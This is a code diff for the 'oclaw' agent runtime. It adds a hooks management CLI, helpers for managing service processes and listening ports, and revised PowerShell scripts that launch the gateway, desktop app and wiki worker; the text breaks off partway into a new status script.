@ -86,7 +118,12 @@ def resolve_runtime_config() -> dict[str, Any]:
return cfg
def initialize_hooks_runtime(*, cfg: dict[str, Any] | None, workspace_dir: str) -> int:
def initialize_hooks_runtime(
*,
cfg: dict[str, Any] | None,
workspace_dir: str,
eligibility: HookEligibilityContext | None = None,
) -> int:
if _STATE.initialized:
return int(_STATE.loaded_count or 0)
try:
@ -94,33 +131,13 @@ def initialize_hooks_runtime(*, cfg: dict[str, Any] | None, workspace_dir: str)
from oclaw.runtime import hooks as hooks_mod # type: ignore
bundled_dir = runtime_hooks_bundled_root()
resolved_cfg = dict(cfg or resolve_runtime_config() or {})
extra_dirs: list[str] = []
try:
for m in discover_workspace_skill_manifests():
d = (Path(str(m.skill_dir or "")) / "hooks").resolve()
if d.exists() and d.is_dir():
extra_dirs.append(str(d))
except Exception:
extra_dirs = []
if extra_dirs:
hooks_cfg = dict((resolved_cfg.get("hooks") or {})) if isinstance(resolved_cfg.get("hooks"), dict) else {}
internal = dict((hooks_cfg.get("internal") or {})) if isinstance(hooks_cfg.get("internal"), dict) else {}
load = dict((internal.get("load") or {})) if isinstance(internal.get("load"), dict) else {}
prev = load.get("extraDirs")
merged = []
if isinstance(prev, list):
merged.extend([str(x) for x in prev if str(x).strip()])
merged.extend([x for x in extra_dirs if x and x not in set(merged)])
load["extraDirs"] = merged
internal["load"] = load
hooks_cfg["internal"] = internal
resolved_cfg["hooks"] = hooks_cfg
resolved_cfg = merge_skill_hook_extra_dirs_into_config(dict(cfg or resolve_runtime_config() or {}))
loaded = int(
hooks_mod.load_internal_hooks(
resolved_cfg,
workspace_dir=str(workspace_dir or "."),
bundled_hooks_dir=str(bundled_dir),
eligibility=eligibility,
)
or 0
)
@ -129,6 +146,7 @@ def initialize_hooks_runtime(*, cfg: dict[str, Any] | None, workspace_dir: str)
_STATE.hooks_mod = hooks_mod
_STATE.resolved_config = resolved_cfg
_STATE.last_error = ""
_maybe_start_gmail_watcher_with_logs(resolved_cfg)
return loaded
except Exception as exc:
_STATE.initialized = True
@ -172,7 +190,7 @@ def trigger_hook_event(
if hooks_mod is None:
return {}
try:
mutable_context = dict(context or {})
mutable_context: dict[str, Any] = {} if context is None else context
ev = hooks_mod.create_hook_event(
str(event_type or ""),
str(action or ""),
@ -184,7 +202,7 @@ def trigger_hook_event(
return dict(getattr(ev, "context"))
return mutable_context
except Exception:
return dict(context or {})
return dict(context) if context is not None else {}
def get_active_hooks_config() -> dict[str, Any]:

View file

@ -163,8 +163,9 @@ def after_turn_memory(
raw_flags = str(store.get_setting(_SPECIALIST_FLAGS_SETTING_KEY) or "").strip() if hasattr(store, "get_setting") else ""
if raw_flags:
obj = json.loads(raw_flags)
if isinstance(obj, dict) and not bool(obj.get("memory_curator", True)):
return
if isinstance(obj, dict):
if not bool(obj.get("memory", True)):
return
except Exception:
pass
try:

View file

@ -0,0 +1,340 @@
from __future__ import annotations
import argparse
import copy
import json
import os
import sys
from typing import Any
_DEPREC_INSTALL = (
"oclaw: `hooks install` is deprecated and not implemented in the Python CLI.\n"
" • Copy a hook directory to ~/.oclaw/hooks/<name>/ or <workspace>/hooks/<name>/ (HOOK.md + handler).\n"
" • See runtime/hooks/README.md for layout and handler priority.\n"
" • If you use the OpenClaw app: use `openclaw plugins install` for packaged hook bundles.\n"
)
_DEPREC_UPDATE = (
"oclaw: `hooks update` is deprecated and not implemented in the Python CLI.\n"
" • Update hook sources in place under ~/.oclaw/hooks/ or your workspace hooks/ tree.\n"
" • If you use the OpenClaw app: use `openclaw plugins update`.\n"
)
from oclaw.platform.config.runtime_paths import runtime_hooks_bundled_root
from oclaw.runtime.hooks.config import should_include_hook
from oclaw.runtime.hooks.frontmatter import resolve_hook_key
from oclaw.runtime.hooks.hooks_status import build_workspace_hook_status
from oclaw.runtime.hooks.hook_types import HookEntry
from oclaw.runtime.hooks.merge_skill_hook_dirs import merge_skill_hook_extra_dirs_into_config
from oclaw.runtime.hooks.user_config_hooks import (
apply_hook_entry_enabled,
load_storage_config_document,
resolve_hooks_config_storage_path,
save_storage_config_document,
)
from oclaw.runtime.hooks.workspace import load_workspace_hook_entries
from oclaw.runtime.hooks_runtime import resolve_runtime_config
def _resolve_cli_workspace(ns: argparse.Namespace) -> str:
w = getattr(ns, "workspace", None)
if isinstance(w, str) and w.strip():
return w.strip()
return str(os.getenv("OCLAW_WORKSPACE") or os.getcwd()).strip() or "."
def prepare_hooks_cli_config(cfg: dict[str, Any] | None) -> dict[str, Any]:
base = dict(cfg or resolve_runtime_config() or {})
return merge_skill_hook_extra_dirs_into_config(base)
def build_hooks_status_report(workspace_dir: str, *, config: dict[str, Any] | None = None) -> dict[str, Any]:
cfg = prepare_hooks_cli_config(config)
extra = (((cfg.get("hooks") or {}).get("internal") or {}).get("load") or {}).get("extraDirs")
extra_dirs = [str(x) for x in extra] if isinstance(extra, list) else None
return build_workspace_hook_status(
workspace_dir,
config=cfg,
bundled_hooks_dir=str(runtime_hooks_bundled_root()),
extra_dirs=extra_dirs,
)
def _load_hook_entries_for_workspace(workspace_dir: str, *, config: dict[str, Any] | None = None) -> list[HookEntry]:
cfg = prepare_hooks_cli_config(config)
extra = (((cfg.get("hooks") or {}).get("internal") or {}).get("load") or {}).get("extraDirs")
extra_dirs = [str(x) for x in extra] if isinstance(extra, list) else None
return load_workspace_hook_entries(
workspace_dir,
config=cfg,
bundled_hooks_dir=str(runtime_hooks_bundled_root()),
extra_dirs=extra_dirs,
)
def find_hook_entry_for_name(workspace_dir: str, query: str, *, config: dict[str, Any] | None = None) -> HookEntry | None:
q = str(query or "").strip()
if not q:
return None
for e in _load_hook_entries_for_workspace(workspace_dir, config=config):
hook_key = resolve_hook_key(e.hook.name, e.as_dict())
if e.hook.name == q or hook_key == q:
return e
return None
def _status_row_for_entry(workspace_dir: str, entry: HookEntry, *, config: dict[str, Any] | None = None) -> dict[str, Any] | None:
hook_key = resolve_hook_key(entry.hook.name, entry.as_dict())
report = build_hooks_status_report(workspace_dir, config=config)
for h in report.get("hooks") or []:
if h.get("hook_key") == hook_key or h.get("name") == entry.hook.name:
return h if isinstance(h, dict) else None
return None
def _requirements_satisfied_if_entry_enabled(entry: HookEntry, *, config: dict[str, Any] | None = None) -> bool:
"""
Same gate as OpenClaw ``enableHook`` (``requireEligible`` → ``requirementsSatisfied``):
would this hook pass eligibility if its config entry were toggled on?
"""
cfg = copy.deepcopy(prepare_hooks_cli_config(config))
hook_key = resolve_hook_key(entry.hook.name, entry.as_dict())
hooks = cfg.setdefault("hooks", {})
internal = hooks.setdefault("internal", {})
if not isinstance(internal, dict):
hooks["internal"] = {}
internal = hooks["internal"]
internal["enabled"] = True
entries = internal.setdefault("entries", {})
if not isinstance(entries, dict):
internal["entries"] = {}
entries = internal["entries"]
prev = entries.get(hook_key)
base = dict(prev) if isinstance(prev, dict) else {}
base["enabled"] = True
entries[hook_key] = base
return bool(should_include_hook(entry=entry, config=cfg, eligibility=None))
def _cmd_hooks_list(args: argparse.Namespace) -> int:
report = build_hooks_status_report(_resolve_cli_workspace(args), config=None)
hooks = list(report.get("hooks") or [])
if getattr(args, "eligible", False):
hooks = [h for h in hooks if h.get("loadable")]
if args.json:
out = {
"workspace_dir": report.get("workspace_dir"),
"summary": report.get("summary"),
"hooks": hooks,
}
print(json.dumps(out, indent=2, default=str))
return 0
summary = report.get("summary") or {}
ready = int(summary.get("loadable_total") or 0)
total = int(summary.get("discovered_total") or 0)
print(f"Hooks ({ready}/{total} ready) workspace={report.get('workspace_dir')}")
for h in hooks:
if h.get("loadable"):
st = "ready"
elif not h.get("enabled_by_config"):
st = "disabled"
else:
st = "missing"
ev = ", ".join(str(x) for x in (h.get("events") or [])[:8])
print(f" [{st:8}] {h.get('name','')} source={h.get('source','')} events={ev}")
if getattr(args, "verbose", False):
br = h.get("blocked_reason") or ""
mb = h.get("missing_bins") or []
if br or mb:
print(f" blocked={br!r} missing_bins={mb}")
return 0
def _cmd_hooks_check(args: argparse.Namespace) -> int:
report = build_hooks_status_report(_resolve_cli_workspace(args), config=None)
hooks = list(report.get("hooks") or [])
eligible = [h for h in hooks if h.get("loadable")]
bad = [h for h in hooks if not h.get("loadable")]
if args.json:
print(
json.dumps(
{
"workspace_dir": report.get("workspace_dir"),
"summary": report.get("summary"),
"eligible": [h.get("name") for h in eligible],
"not_eligible": [
{"name": h.get("name"), "blocked_reason": h.get("blocked_reason"), "missing_bins": h.get("missing_bins")}
for h in bad
],
},
indent=2,
default=str,
)
)
return 0
s = report.get("summary") or {}
print("Hooks status")
print(f" total: {s.get('discovered_total', 0)}")
print(f" loadable: {s.get('loadable_total', 0)}")
print(f" blocked: {len(bad)}")
if bad:
print("Not loadable:")
for h in bad:
print(f" - {h.get('name')}: {h.get('blocked_reason') or 'missing requirements'} missing_bins={h.get('missing_bins')}")
return 0
def _cmd_hooks_info(args: argparse.Namespace) -> int:
report = build_hooks_status_report(_resolve_cli_workspace(args), config=None)
name = str(getattr(args, "name", "") or "").strip()
hooks = list(report.get("hooks") or [])
row = next((h for h in hooks if h.get("name") == name or h.get("hook_key") == name), None)
if row is None:
if args.json:
print(json.dumps({"error": "not_found", "hook": name}, indent=2))
else:
print(f'Hook "{name}" not found. Try: python -m oclaw.runtime.operations hooks list')
return 1
if args.json:
print(json.dumps(row, indent=2, default=str))
return 0
print(f"{row.get('name')} loadable={row.get('loadable')} source={row.get('source')}")
if row.get("plugin_id"):
print(f" plugin_id: {row.get('plugin_id')}")
print(f" events: {', '.join(str(x) for x in (row.get('events') or []))}")
print(f" enabled_by_config: {row.get('enabled_by_config')}")
print(f" eligible: {row.get('eligible')}")
if not row.get("loadable"):
print(f" blocked_reason: {row.get('blocked_reason')}")
print(f" missing_bins: {row.get('missing_bins')}")
opts = row.get("install_options") or []
if opts:
print(" install_options:")
for o in opts:
print(f" - {o.get('id')}: {o.get('kind')} {o.get('label')}")
return 0
def _cmd_hooks_enable(args: argparse.Namespace) -> int:
ws = _resolve_cli_workspace(args)
name = str(getattr(args, "name", "") or "").strip()
entry = find_hook_entry_for_name(ws, name, config=None)
if entry is None:
print(f'Hook "{name}" not found. Try: python -m oclaw.runtime.operations hooks list --workspace ...')
return 1
if entry.hook.source == "oclaw-plugin":
print("Plugin-managed hooks cannot be enabled via this CLI; enable or configure the plugin instead.")
return 1
hook_key = resolve_hook_key(entry.hook.name, entry.as_dict())
if not _requirements_satisfied_if_entry_enabled(entry, config=None):
row = _status_row_for_entry(ws, entry, config=None)
reason = (row or {}).get("blocked_reason") or "missing requirements"
print(f'Hook "{hook_key}" cannot be enabled: {reason}')
return 1
doc = load_storage_config_document()
apply_hook_entry_enabled(doc, hook_key, True, ensure_internal_hooks_enabled=True)
save_storage_config_document(doc)
print(f"Enabled hook {hook_key!r} (config: {resolve_hooks_config_storage_path()})")
return 0
def _cmd_hooks_disable(args: argparse.Namespace) -> int:
ws = _resolve_cli_workspace(args)
name = str(getattr(args, "name", "") or "").strip()
entry = find_hook_entry_for_name(ws, name, config=None)
if entry is None:
print(f'Hook "{name}" not found.')
return 1
if entry.hook.source == "oclaw-plugin":
print("Plugin-managed hooks cannot be disabled via this CLI; disable or configure the plugin instead.")
return 1
hook_key = resolve_hook_key(entry.hook.name, entry.as_dict())
doc = load_storage_config_document()
apply_hook_entry_enabled(doc, hook_key, False, ensure_internal_hooks_enabled=False)
save_storage_config_document(doc)
print(f"Disabled hook {hook_key!r} (config: {resolve_hooks_config_storage_path()})")
return 0
def _cmd_hooks_install(args: argparse.Namespace) -> int:
print(_DEPREC_INSTALL, file=sys.stderr, end="")
spec = str(getattr(args, "spec", "") or "").strip()
if not spec:
print("error: missing path or package spec", file=sys.stderr)
return 1
print(f"note: spec was not installed: {spec!r}", file=sys.stderr)
return 2
def _cmd_hooks_update(args: argparse.Namespace) -> int:
print(_DEPREC_UPDATE, file=sys.stderr, end="")
hid = getattr(args, "hook_id", None)
parts = []
if getattr(args, "dry_run", False):
parts.append("dry_run")
if getattr(args, "all", False):
parts.append("all")
if hid:
parts.append(f"id={hid!r}")
if parts:
print(f"note: no update performed ({', '.join(parts)})", file=sys.stderr)
else:
print("note: no update performed (pass hook id or --all)", file=sys.stderr)
return 2
def register_hooks_parser(root_sub: argparse._SubParsersAction[argparse.ArgumentParser]) -> None:
hooks = root_sub.add_parser("hooks", help="List and inspect internal hooks (discovery + eligibility)")
hooks_sub = hooks.add_subparsers(dest="hooks_cmd", required=True)
def _add_workspace(p: argparse.ArgumentParser) -> None:
p.add_argument(
"--workspace",
default=None,
help="Workspace root for discovery (default: OCLAW_WORKSPACE or current directory)",
)
p_list = hooks_sub.add_parser("list", help="List discovered hooks")
_add_workspace(p_list)
p_list.add_argument("--json", action="store_true", help="JSON output")
p_list.add_argument("--eligible", action="store_true", help="Only hooks that are loadable")
p_list.add_argument("-v", "--verbose", action="store_true", help="Include blocked_reason / missing_bins")
p_list.set_defaults(func=_cmd_hooks_list)
p_check = hooks_sub.add_parser("check", help="Summary of hook loadability")
_add_workspace(p_check)
p_check.add_argument("--json", action="store_true")
p_check.set_defaults(func=_cmd_hooks_check)
p_info = hooks_sub.add_parser("info", help="Show details for one hook by name or hook_key")
_add_workspace(p_info)
p_info.add_argument("name", help="Hook name (HOOK.md name) or hookKey")
p_info.add_argument("--json", action="store_true")
p_info.set_defaults(func=_cmd_hooks_info)
p_en = hooks_sub.add_parser("enable", help="Enable a hook (writes hooks.internal.entries.<key>.enabled)")
_add_workspace(p_en)
p_en.add_argument("name", help="Hook name or hookKey (must currently be loadable)")
p_en.set_defaults(func=_cmd_hooks_enable)
p_dis = hooks_sub.add_parser("disable", help="Disable a hook in config")
_add_workspace(p_dis)
p_dis.add_argument("name", help="Hook name or hookKey")
p_dis.set_defaults(func=_cmd_hooks_disable)
p_inst = hooks_sub.add_parser(
"install",
help="[deprecated] Install a hook pack (not implemented; prints migration hints)",
)
p_inst.add_argument("spec", help="npm spec, archive path, or directory (not processed)")
p_inst.add_argument("-l", "--link", action="store_true", help="Ignored (OpenClaw CLI compat)")
p_inst.add_argument("--pin", action="store_true", help="Ignored (OpenClaw CLI compat)")
p_inst.set_defaults(func=_cmd_hooks_install)
p_up = hooks_sub.add_parser(
"update",
help="[deprecated] Update hook packs (not implemented; prints migration hints)",
)
p_up.add_argument("hook_id", nargs="?", default=None, help="Hook pack id (optional if --all)")
p_up.add_argument("--all", action="store_true", help="Ignored except for message context")
p_up.add_argument("--dry-run", action="store_true", help="No-op; only prints deprecation")
p_up.set_defaults(func=_cmd_hooks_update)

View file

@ -4,6 +4,7 @@ import argparse
import os
import sys
from oclaw.runtime.operations.hooks_cmd import register_hooks_parser
from oclaw.runtime.operations.memory import register_memory_parser
from oclaw.runtime.operations.providers.registry import build_channel_registry
from oclaw.runtime.operations.stack import register_stack_parser
@ -43,6 +44,7 @@ def _build_parser() -> argparse.ArgumentParser:
register_memory_parser(root_sub)
register_stack_parser(root_sub)
register_hooks_parser(root_sub)
return p

View file

@ -65,6 +65,10 @@ def _is_running(pid: int) -> bool:
return False
def is_pid_running(pid: int) -> bool:
return _is_running(int(pid or 0))
def _python_bin() -> str:
return sys.executable or "python"
@ -176,10 +180,99 @@ def detect_orphan_service_processes(name: str, *, keep_pids: set[int] | None = N
return out
def list_service_process_pids(name: str) -> list[int]:
sig = _service_signature(name)
if not sig:
return []
return sorted(int(x) for x in _find_pids_by_signature(sig) if int(x) > 0)
def list_listen_ports_for_pid(pid: int) -> list[int]:
p = int(pid or 0)
if p <= 0:
return []
ports: set[int] = set()
if os.name == "nt":
try:
raw = subprocess.check_output(
["netstat", "-ano", "-p", "tcp"],
stderr=subprocess.DEVNULL,
text=True,
encoding="utf-8",
errors="replace",
)
except Exception:
return []
for line in (raw or "").splitlines():
txt = " ".join(str(line or "").strip().split())
if not txt or not txt.lower().startswith("tcp "):
continue
parts = txt.split(" ")
if len(parts) < 5:
continue
local_addr = parts[1]
state = parts[3].strip().upper()
pid_s = parts[4].strip()
if pid_s != str(p):
continue
if state != "LISTENING":
continue
sep = local_addr.rfind(":")
if sep < 0:
continue
port_s = local_addr[sep + 1 :].strip().strip("]")
if port_s.isdigit():
ports.add(int(port_s))
return sorted(ports)
try:
raw = subprocess.check_output(
["ss", "-ltnp"],
stderr=subprocess.DEVNULL,
text=True,
encoding="utf-8",
errors="replace",
)
except Exception:
return []
for line in (raw or "").splitlines():
txt = " ".join(str(line or "").strip().split())
if not txt or "LISTEN" not in txt:
continue
if f"pid={p}," not in txt and f"pid={p})" not in txt:
continue
parts = txt.split(" ")
if len(parts) < 4:
continue
local_addr = parts[3]
sep = local_addr.rfind(":")
if sep < 0:
continue
port_s = local_addr[sep + 1 :].strip().strip("]")
if port_s.isdigit():
ports.add(int(port_s))
return sorted(ports)
def cleanup_orphan_service_processes(name: str, *, keep_pids: set[int] | None = None) -> list[int]:
return _cleanup_orphan_service_processes(name, keep_pids=keep_pids)
def cleanup_service_processes_by_pid(name: str, pids: list[int] | tuple[int, ...] | set[int]) -> list[int]:
sig = _service_signature(name)
if not sig:
return []
target = {int(x) for x in (pids or []) if int(x) > 0}
if not target:
return []
live = set(_find_pids_by_signature(sig))
victims = sorted([x for x in target if x in live])
killed: list[int] = []
for pid in victims:
if _kill_pid_force(pid):
killed.append(int(pid))
return killed
@dataclass(frozen=True)
class ServiceState:
name: str
@ -191,12 +284,15 @@ class ServiceState:
def start_service(*, name: str, command: list[str], env: dict[str, str] | None = None, cwd: str | None = None) -> int:
state = _read_state()
services = state.setdefault("services", {})
_cleanup_orphan_service_processes(name)
existing = services.get(name)
if isinstance(existing, dict):
pid = int(existing.get("pid") or 0)
if _is_running(pid):
# Keep recorded primary pid, kill only duplicate peers.
_cleanup_orphan_service_processes(name, keep_pids={pid})
return pid
# No stable primary pid: kill all matching peers and restart cleanly.
_cleanup_orphan_service_processes(name)
merged_env = os.environ.copy()
if env:
merged_env.update({str(k): str(v) for k, v in env.items()})
@ -251,14 +347,47 @@ def status_services() -> list[ServiceState]:
state = _read_state()
services = state.get("services")
if not isinstance(services, dict):
return []
services = {}
state["services"] = services
# Reconcile state-file PIDs with live processes by command signature.
# This prevents false "missing service" reports when cwd/env drift starts
# services successfully but runtime state was written from another context.
changed = False
known_names: list[str] = []
for n in services.keys():
nn = str(n or "").strip()
if nn and nn not in known_names:
known_names.append(nn)
for n in ("gateway", "channel:wecom"):
if n not in known_names:
known_names.append(n)
out: list[ServiceState] = []
for name, meta in services.items():
for name in known_names:
meta = services.get(name)
if not isinstance(meta, dict):
continue
meta = {}
pid = int(meta.get("pid") or 0)
running = _is_running(pid)
cmd = meta.get("command") if isinstance(meta.get("command"), list) else []
out.append(ServiceState(name=str(name), pid=pid, command=[str(x) for x in cmd], running=_is_running(pid)))
if not running:
sig = _service_signature(str(name))
pids = _find_pids_by_signature(sig) if sig else []
# Safe reconcile only when exactly one candidate exists.
# If multiple workers exist, avoid guessing a primary pid.
if len(pids) == 1:
pid = int(sorted(pids)[0])
running = _is_running(pid)
if running and int(meta.get("pid") or 0) != pid:
services[str(name)] = {
"pid": int(pid),
"command": cmd,
"stdout_log": str(meta.get("stdout_log") or ""),
"stderr_log": str(meta.get("stderr_log") or ""),
}
changed = True
out.append(ServiceState(name=str(name), pid=pid, command=[str(x) for x in cmd], running=running))
if changed:
_write_state(state)
return out

View file

@ -1,4 +1,4 @@
param(
param(
[string]$Python = "python",
[switch]$Recreate = $false
)
@ -14,10 +14,10 @@ function Fail([string]$msg) {
exit 1
}
$repoRoot = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSScriptRoot))
Set-Location $repoRoot
$venvDir = Join-Path $repoRoot "oclaw/.venv"
$venvDir = Join-Path $repoRoot ".venv"
$venvPython = Join-Path $venvDir "Scripts/python.exe"
$py = Get-Command $Python -ErrorAction SilentlyContinue
@ -49,3 +49,5 @@ Write-Host ""
Write-Host "OK. Next:" -ForegroundColor Green
Write-Host " powershell -ExecutionPolicy Bypass -File .\\oclaw\\scripts\\start_gateway.ps1"
Write-Host ""

View file

@ -9,6 +9,7 @@ _PS1_FORWARDERS: dict[str, str] = {
"bootstrap_venv.ps1": "& $real @args",
"start_web.ps1": "& $real @args",
"status_all.ps1": "& $real @args",
"status_desktop.ps1": "& $real @args",
"status_ops.ps1": "& $real @args",
"status_wiki_worker.ps1": "& $real @args",
"stop_all.ps1": "& $real @args",

View file

@ -1,10 +1,10 @@
param(
param(
[string]$BindHost = "127.0.0.1",
[int]$Port = 8787,
[switch]$SkipInstall = $false,
[switch]$Background = $false,
[switch]$WithWeixin = $false,
[switch]$WithWikiWorker = $false,
[bool]$WithWikiWorker = $true,
[string]$WeixinChannelId = "oclaw-weixin",
[string]$WeixinGatewayBaseUrl = ""
)
@ -15,12 +15,13 @@ function Write-Step([string]$msg) {
Write-Host "==> $msg" -ForegroundColor Cyan
}
$repoRoot = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
Set-Location $repoRoot
$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSScriptRoot))
$repoParent = Split-Path -Parent $repoRoot
Set-Location $repoParent
Write-Step "Starting gateway + desktop"
& "$PSScriptRoot/start_gateway.ps1" -BindHost $BindHost -Port $Port -SkipInstall:$SkipInstall -Background:$Background
& "$PSScriptRoot/start_gateway.ps1" -BindHost $BindHost -Port $Port -SkipInstall:$SkipInstall -Background:$Background -WithWikiWorker:$WithWikiWorker
# When gateway is started in foreground, the call above blocks; desktop won't start.
if (-not $Background) {
@ -29,7 +30,7 @@ if (-not $Background) {
exit 0
}
& "$PSScriptRoot/start_desktop.ps1" -SkipInstall:$SkipInstall -Background
& "$PSScriptRoot/start_desktop.ps1" -SkipInstall:$SkipInstall -Background -WithWikiWorker:$WithWikiWorker
if ($WithWeixin) {
$gwBase = ($WeixinGatewayBaseUrl | ForEach-Object { "$_".Trim() })
@ -39,11 +40,7 @@ if ($WithWeixin) {
Write-Step "Starting weixin sidecar"
& "$PSScriptRoot/weixin_start.ps1" -ChannelId $WeixinChannelId -GatewayBaseUrl $gwBase
}
if ($WithWikiWorker) {
Write-Step "Starting wiki worker"
& "$PSScriptRoot/start_wiki_worker.ps1" -Background
}
Write-Host ""
Write-Host "All started." -ForegroundColor Green

View file

@ -1,12 +1,14 @@
param(
param(
[switch]$SkipInstall = $false,
[switch]$Background = $false,
[switch]$KeepExistingGateway = $false
[switch]$KeepExistingGateway = $false,
[bool]$WithWikiWorker = $true
)
$ErrorActionPreference = "Stop"
$repoRoot = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
$desktopDir = Join-Path $repoRoot "oclaw\\desktop"
$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSScriptRoot))
$repoParent = Split-Path -Parent $repoRoot
$desktopDir = Join-Path $repoRoot "desktop"
$runDir = Join-Path $PSScriptRoot ".run"
New-Item -ItemType Directory -Force -Path $runDir | Out-Null
$pidFile = Join-Path $runDir "desktop.pid"
@ -19,6 +21,7 @@ if (-not (Test-Path $desktopDir)) {
}
Set-Location $desktopDir
$env:PYTHONPATH = $repoParent
if (-not $KeepExistingGateway) {
Write-Host "==> Cleaning previous gateway listener" -ForegroundColor Cyan
@ -34,6 +37,11 @@ if (-not $SkipInstall) {
npm install
}
if ($WithWikiWorker) {
Write-Host "==> Ensuring wiki worker is running" -ForegroundColor Cyan
& "$PSScriptRoot/start_wiki_worker.ps1" -Background
}
Write-Host "==> Launching desktop app" -ForegroundColor Cyan
if ($Background) {
# Avoid launching npm.ps1 directly (can be file-associated and open in Notepad on some setups).
@ -47,3 +55,5 @@ if ($Background) {
exit 0
}
& "npm.cmd" "run" "dev"

View file

@ -1,8 +1,9 @@
param(
param(
[string]$BindHost = "127.0.0.1",
[int]$Port = 8787,
[switch]$SkipInstall = $false,
[switch]$Background = $false
[switch]$Background = $false,
[bool]$WithWikiWorker = $true
)
$ErrorActionPreference = "Stop"
@ -16,16 +17,20 @@ function Fail([string]$msg) {
exit 1
}
$repoRoot = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
Set-Location $repoRoot
$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSScriptRoot))
$repoParent = Split-Path -Parent $repoRoot
Set-Location $repoParent
$runDir = Join-Path $PSScriptRoot ".run"
New-Item -ItemType Directory -Force -Path $runDir | Out-Null
$pidFile = Join-Path $runDir "gateway.pid"
Write-Step "Project root: $repoRoot"
Write-Step "Working directory: $repoParent"
$venvPython = Join-Path $repoRoot "oclaw/.venv/Scripts/python.exe"
$env:PYTHONPATH = $repoParent
$venvPython = Join-Path $repoRoot ".venv/Scripts/python.exe"
if (Test-Path $venvPython) {
Write-Step "Using venv python: $venvPython"
$pythonExe = $venvPython
@ -40,7 +45,7 @@ if (Test-Path $venvPython) {
if (-not $SkipInstall) {
Write-Step "Installing dependencies (pip install -r requirements.txt)"
& $pythonExe -m pip install -r "requirements.txt"
& $pythonExe -m pip install -r (Join-Path $repoRoot "requirements.txt")
} else {
Write-Step "Skip dependency install"
}
@ -52,15 +57,20 @@ Write-Host "Chat: http://$BindHost`:$Port/chat"
Write-Host "WS: ws://$BindHost`:$Port/ws"
Write-Host ""
$configPath = Join-Path $repoRoot "oclaw\oclaw.json"
$configPath = Join-Path $repoRoot "oclaw.json"
if (Test-Path $configPath) {
$env:OCLAW_CONFIG_PATH = $configPath
Write-Step "Using OCLAW_CONFIG_PATH: $configPath"
}
if ($WithWikiWorker) {
Write-Step "Ensuring wiki worker is running"
& "$PSScriptRoot/start_wiki_worker.ps1" -Background
}
if ($Background) {
Write-Step "Starting gateway in background"
$p = Start-Process -FilePath $pythonExe -ArgumentList @("-m","oclaw.runtime.operations","gateway","start","--host",$BindHost,"--port",$Port) -WorkingDirectory $repoRoot -PassThru -WindowStyle Hidden
$p = Start-Process -FilePath $pythonExe -ArgumentList @("-m","oclaw.runtime.operations","gateway","start","--host",$BindHost,"--port",$Port) -WorkingDirectory $repoParent -PassThru -WindowStyle Hidden
Set-Content -Path $pidFile -Value "$($p.Id)" -Encoding ascii
Write-Host "gateway.pid = $pidFile" -ForegroundColor DarkGray
Write-Host "PID = $($p.Id)" -ForegroundColor Green
@ -70,3 +80,5 @@ if ($Background) {
Write-Step "Starting gateway (foreground)"
& $pythonExe -m oclaw.runtime.operations gateway start --host $BindHost --port $Port

View file

@ -15,12 +15,16 @@ function Fail([string]$msg) {
exit 1
}
$repoRoot = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
Set-Location $repoRoot
$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSScriptRoot))
$repoParent = Split-Path -Parent $repoRoot
Set-Location $repoParent
Write-Step "Project root: $repoRoot"
Write-Step "Working directory: $repoParent"
$venvPython = Join-Path $repoRoot "oclaw/.venv/Scripts/python.exe"
$env:PYTHONPATH = $repoParent
$venvPython = Join-Path $repoRoot ".venv/Scripts/python.exe"
if (Test-Path $venvPython) {
Write-Step "Using venv python: $venvPython"
$pythonExe = $venvPython
@ -35,7 +39,7 @@ if (Test-Path $venvPython) {
if (-not $SkipInstall) {
Write-Step "Installing dependencies (pip install -r requirements.txt)"
& $pythonExe -m pip install -r "requirements.txt"
& $pythonExe -m pip install -r (Join-Path $repoRoot "requirements.txt")
} else {
Write-Step "Skip dependency install"
}
@ -43,7 +47,7 @@ if (-not $SkipInstall) {
if (-not $SkipConfigHint) {
Write-Step "Current WeCom status"
try {
python -m oclaw.runtime.operations channel wecom status
& $pythonExe -m oclaw.runtime.operations channel wecom status
} catch {
Write-Host "[WARN] Unable to read WeCom status yet." -ForegroundColor Yellow
}
@ -68,3 +72,5 @@ Write-Host "Useful commands:"
Write-Host " python -m oclaw.runtime.operations stack status"
Write-Host " python -m oclaw.runtime.operations stack down"

View file

@ -1,4 +1,4 @@
param(
param(
[switch]$Background = $true
)
@ -16,7 +16,16 @@ $pidFile = Join-Path $runDir "wiki_worker.pid"
$outLog = Join-Path $runDir "wiki_worker.out.log"
$errLog = Join-Path $runDir "wiki_worker.err.log"
$venvPython = Join-Path $repoRoot "oclaw/.venv/Scripts/python.exe"
function Test-AlivePid([int]$procId) {
try {
$p = Get-Process -Id $procId -ErrorAction Stop
return $null -ne $p
} catch {
return $false
}
}
$venvPython = Join-Path $repoRoot ".venv/Scripts/python.exe"
if (Test-Path $venvPython) {
$pythonExe = $venvPython
} else {
@ -32,6 +41,17 @@ if (-not $Background) {
exit 0
}
if (Test-Path $pidFile) {
$raw = (Get-Content $pidFile -ErrorAction SilentlyContinue | Select-Object -First 1)
$existing = 0
[void][int]::TryParse([string]$raw, [ref]$existing)
if ($existing -gt 0 -and (Test-AlivePid $existing)) {
Write-Host "[ok] wiki worker already running pid=$existing"
exit 0
}
}
$p = Start-Process -FilePath $pythonExe -ArgumentList @("-m", "oclaw.runtime.workers.wiki.main") -WorkingDirectory $repoRoot -PassThru -WindowStyle Hidden -RedirectStandardOutput $outLog -RedirectStandardError $errLog
Set-Content -Path $pidFile -Value $p.Id -Encoding ascii
Write-Host "[ok] started wiki worker pid=$($p.Id) out=$outLog err=$errLog"

View file

@ -0,0 +1,39 @@
param()
$ErrorActionPreference = "Stop"
function Warn([string]$msg) {
Write-Host "[WARN] $msg" -ForegroundColor Yellow
}
$runDir = Join-Path $PSScriptRoot ".run"
$pidFile = Join-Path $runDir "desktop.pid"
$outLog = Join-Path $runDir "desktop.out.log"
$errLog = Join-Path $runDir "desktop.err.log"
if (-not (Test-Path $pidFile)) {
Warn "desktop.pid not found: $pidFile"
exit 1
}
$raw = (Get-Content $pidFile -ErrorAction SilentlyContinue | Select-Object -First 1)
$procId = 0
